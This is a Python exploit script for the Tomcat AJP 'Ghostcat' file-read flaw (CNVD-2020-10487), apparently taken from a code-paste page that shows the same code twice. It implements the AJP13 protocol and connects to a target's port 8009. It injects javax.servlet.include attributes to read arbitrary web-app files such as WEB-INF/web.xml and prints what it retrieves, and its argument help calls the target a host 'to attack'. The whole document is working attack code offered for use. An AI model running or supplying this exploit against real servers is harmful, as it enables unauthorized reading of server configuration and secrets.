ghostcat.py
· 11 KiB · Python
Raw
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
| 1 | #!/usr/bin/env python |
| 2 | #CNVD-2020-10487 Tomcat-Ajp lfi |
| 3 | #by ydhcui |
| 4 | import struct |
| 5 | |
| 6 | # Some references: |
| 7 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html |
| 8 | def pack_string(s): |
| 9 | if s is None: |
| 10 | return struct.pack(">h", -1) |
| 11 | l = len(s) |
| 12 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) |
| 13 | def unpack(stream, fmt): |
| 14 | size = struct.calcsize(fmt) |
| 15 | buf = stream.read(size) |
| 16 | return struct.unpack(fmt, buf) |
| 17 | def unpack_string(stream): |
| 18 | size, = unpack(stream, ">h") |
| 19 | if size == -1: # null string |
| 20 | return None |
| 21 | res, = unpack(stream, "%ds" % size) |
| 22 | stream.read(1) # \0 |
| 23 | return res |
| 24 | class NotFoundException(Exception): |
| 25 | pass |
| 26 | class AjpBodyRequest(object): |
| 27 | # server == web server, container == servlet |
| 28 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) |
| 29 | MAX_REQUEST_LENGTH = 8186 |
| 30 | def __init__(self, data_stream, data_len, data_direction=None): |
| 31 | self.data_stream = data_stream |
| 32 | self.data_len = data_len |
| 33 | self.data_direction = data_direction |
| 34 | def serialize(self): |
| 35 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) |
| 36 | if len(data) == 0: |
| 37 | return struct.pack(">bbH", 0x12, 0x34, 0x00) |
| 38 | else: |
| 39 | res = struct.pack(">H", len(data)) |
| 40 | res += data |
| 41 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: |
| 42 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) |
| 43 | else: |
| 44 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) |
| 45 | return header + res |
| 46 | def send_and_receive(self, socket, stream): |
| 47 | while True: |
| 48 | data = self.serialize() |
| 49 | socket.send(data) |
| 50 | r = AjpResponse.receive(stream) |
| 51 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: |
| 52 | r = AjpResponse.receive(stream) |
| 53 | |
| 54 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: |
| 55 | break |
| 56 | class AjpForwardRequest(object): |
| 57 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) |
| 58 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} |
| 59 | # server == web server, container == servlet |
| 60 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) |
| 61 | COMMON_HEADERS = ["SC_REQ_ACCEPT", |
| 62 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", |
| 63 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", |
| 64 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" |
| 65 | ] |
| 66 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] |
| 67 | def __init__(self, data_direction=None): |
| 68 | self.prefix_code = 0x02 |
| 69 | self.method = None |
| 70 | self.protocol = None |
| 71 | self.req_uri = None |
| 72 | self.remote_addr = None |
| 73 | self.remote_host = None |
| 74 | self.server_name = None |
| 75 | self.server_port = None |
| 76 | self.is_ssl = None |
| 77 | self.num_headers = None |
| 78 | self.request_headers = None |
| 79 | self.attributes = None |
| 80 | self.data_direction = data_direction |
| 81 | def pack_headers(self): |
| 82 | self.num_headers = len(self.request_headers) |
| 83 | res = "" |
| 84 | res = struct.pack(">h", self.num_headers) |
| 85 | for h_name in self.request_headers: |
| 86 | if h_name.startswith("SC_REQ"): |
| 87 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 |
| 88 | res += struct.pack("BB", 0xA0, code) |
| 89 | else: |
| 90 | res += pack_string(h_name) |
| 91 | |
| 92 | res += pack_string(self.request_headers[h_name]) |
| 93 | return res |
| 94 | |
| 95 | def pack_attributes(self): |
| 96 | res = b"" |
| 97 | for attr in self.attributes: |
| 98 | a_name = attr['name'] |
| 99 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 |
| 100 | res += struct.pack("b", code) |
| 101 | if a_name == "req_attribute": |
| 102 | aa_name, a_value = attr['value'] |
| 103 | res += pack_string(aa_name) |
| 104 | res += pack_string(a_value) |
| 105 | else: |
| 106 | res += pack_string(attr['value']) |
| 107 | res += struct.pack("B", 0xFF) |
| 108 | return res |
| 109 | def serialize(self): |
| 110 | res = "" |
| 111 | res = struct.pack("bb", self.prefix_code, self.method) |
| 112 | res += pack_string(self.protocol) |
| 113 | res += pack_string(self.req_uri) |
| 114 | res += pack_string(self.remote_addr) |
| 115 | res += pack_string(self.remote_host) |
| 116 | res += pack_string(self.server_name) |
| 117 | res += struct.pack(">h", self.server_port) |
| 118 | res += struct.pack("?", self.is_ssl) |
| 119 | res += self.pack_headers() |
| 120 | res += self.pack_attributes() |
| 121 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: |
| 122 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) |
| 123 | else: |
| 124 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) |
| 125 | return header + res |
| 126 | def parse(self, raw_packet): |
| 127 | stream = StringIO(raw_packet) |
| 128 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") |
| 129 | self.prefix_code, self.method = unpack(stream, "bb") |
| 130 | self.protocol = unpack_string(stream) |
| 131 | self.req_uri = unpack_string(stream) |
| 132 | self.remote_addr = unpack_string(stream) |
| 133 | self.remote_host = unpack_string(stream) |
| 134 | self.server_name = unpack_string(stream) |
| 135 | self.server_port = unpack(stream, ">h") |
| 136 | self.is_ssl = unpack(stream, "?") |
| 137 | self.num_headers, = unpack(stream, ">H") |
| 138 | self.request_headers = {} |
| 139 | for i in range(self.num_headers): |
| 140 | code, = unpack(stream, ">H") |
| 141 | if code > 0xA000: |
| 142 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] |
| 143 | else: |
| 144 | h_name = unpack(stream, "%ds" % code) |
| 145 | stream.read(1) # \0 |
| 146 | h_value = unpack_string(stream) |
| 147 | self.request_headers[h_name] = h_value |
| 148 | def send_and_receive(self, socket, stream, save_cookies=False): |
| 149 | res = [] |
| 150 | i = socket.sendall(self.serialize()) |
| 151 | if self.method == AjpForwardRequest.POST: |
| 152 | return res |
| 153 | |
| 154 | r = AjpResponse.receive(stream) |
| 155 | assert r.prefix_code == AjpResponse.SEND_HEADERS |
| 156 | res.append(r) |
| 157 | if save_cookies and 'Set-Cookie' in r.response_headers: |
| 158 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] |
| 159 | |
| 160 | # read body chunks and end response packets |
| 161 | while True: |
| 162 | r = AjpResponse.receive(stream) |
| 163 | res.append(r) |
| 164 | if r.prefix_code == AjpResponse.END_RESPONSE: |
| 165 | break |
| 166 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: |
| 167 | continue |
| 168 | else: |
| 169 | raise NotImplementedError |
| 170 | break |
| 171 | |
| 172 | return res |
| 173 | |
| 174 | class AjpResponse(object): |
| 175 | _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) |
| 176 | COMMON_SEND_HEADERS = [ |
| 177 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", |
| 178 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" |
| 179 | ] |
| 180 | def parse(self, stream): |
| 181 | # read headers |
| 182 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") |
| 183 | |
| 184 | if self.prefix_code == AjpResponse.SEND_HEADERS: |
| 185 | self.parse_send_headers(stream) |
| 186 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: |
| 187 | self.parse_send_body_chunk(stream) |
| 188 | elif self.prefix_code == AjpResponse.END_RESPONSE: |
| 189 | self.parse_end_response(stream) |
| 190 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: |
| 191 | self.parse_get_body_chunk(stream) |
| 192 | else: |
| 193 | raise NotImplementedError |
| 194 | |
| 195 | def parse_send_headers(self, stream): |
| 196 | self.http_status_code, = unpack(stream, ">H") |
| 197 | self.http_status_msg = unpack_string(stream) |
| 198 | self.num_headers, = unpack(stream, ">H") |
| 199 | self.response_headers = {} |
| 200 | for i in range(self.num_headers): |
| 201 | code, = unpack(stream, ">H") |
| 202 | if code <= 0xA000: # custom header |
| 203 | h_name, = unpack(stream, "%ds" % code) |
| 204 | stream.read(1) # \0 |
| 205 | h_value = unpack_string(stream) |
| 206 | else: |
| 207 | h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] |
| 208 | h_value = unpack_string(stream) |
| 209 | self.response_headers[h_name] = h_value |
| 210 | |
| 211 | def parse_send_body_chunk(self, stream): |
| 212 | self.data_length, = unpack(stream, ">H") |
| 213 | self.data = stream.read(self.data_length+1) |
| 214 | |
| 215 | def parse_end_response(self, stream): |
| 216 | self.reuse, = unpack(stream, "b") |
| 217 | |
| 218 | def parse_get_body_chunk(self, stream): |
| 219 | rlen, = unpack(stream, ">H") |
| 220 | return rlen |
| 221 | |
| 222 | @staticmethod |
| 223 | def receive(stream): |
| 224 | r = AjpResponse() |
| 225 | r.parse(stream) |
| 226 | return r |
| 227 | |
| 228 | import socket |
| 229 | |
| 230 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): |
| 231 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) |
| 232 | fr.method = method |
| 233 | fr.protocol = "HTTP/1.1" |
| 234 | fr.req_uri = req_uri |
| 235 | fr.remote_addr = target_host |
| 236 | fr.remote_host = None |
| 237 | fr.server_name = target_host |
| 238 | fr.server_port = 80 |
| 239 | fr.request_headers = { |
| 240 | 'SC_REQ_ACCEPT': 'text/html', |
| 241 | 'SC_REQ_CONNECTION': 'keep-alive', |
| 242 | 'SC_REQ_CONTENT_LENGTH': '0', |
| 243 | 'SC_REQ_HOST': target_host, |
| 244 | 'SC_REQ_USER_AGENT': 'Mozilla', |
| 245 | 'Accept-Encoding': 'gzip, deflate, sdch', |
| 246 | 'Accept-Language': 'en-US,en;q=0.5', |
| 247 | 'Upgrade-Insecure-Requests': '1', |
| 248 | 'Cache-Control': 'max-age=0' |
| 249 | } |
| 250 | fr.is_ssl = False |
| 251 | fr.attributes = [] |
| 252 | return fr |
| 253 | |
| 254 | class Tomcat(object): |
| 255 | def __init__(self, target_host, target_port): |
| 256 | self.target_host = target_host |
| 257 | self.target_port = target_port |
| 258 | |
| 259 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 260 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 261 | self.socket.connect((target_host, target_port)) |
| 262 | self.stream = self.socket.makefile("rb", bufsize=0) |
| 263 | |
| 264 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): |
| 265 | self.req_uri = req_uri |
| 266 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) |
| 267 | print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) |
| 268 | if user is not None and password is not None: |
| 269 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') |
| 270 | for h in headers: |
| 271 | self.forward_request.request_headers[h] = headers[h] |
| 272 | for a in attributes: |
| 273 | self.forward_request.attributes.append(a) |
| 274 | responses = self.forward_request.send_and_receive(self.socket, self.stream) |
| 275 | if len(responses) == 0: |
| 276 | return None, None |
| 277 | snd_hdrs_res = responses[0] |
| 278 | data_res = responses[1:-1] |
| 279 | if len(data_res) == 0: |
| 280 | print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) |
| 281 | return snd_hdrs_res, data_res |
| 282 | |
| 283 | ''' |
| 284 | javax.servlet.include.request_uri |
| 285 | javax.servlet.include.path_info |
| 286 | javax.servlet.include.servlet_path |
| 287 | ''' |
| 288 | |
| 289 | import argparse |
| 290 | parser = argparse.ArgumentParser() |
| 291 | parser.add_argument("target", type=str, help="Hostname or IP to attack") |
| 292 | parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") |
| 293 | parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") |
| 294 | args = parser.parse_args() |
| 295 | t = Tomcat(args.target, args.port) |
| 296 | _,data = t.perform_request('/asdf',attributes=[ |
| 297 | {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, |
| 298 | {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, |
| 299 | {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, |
| 300 | ]) |
| 301 | print('----------------------------') |
| 302 | print("".join([d.data for d in data])) |
| 303 |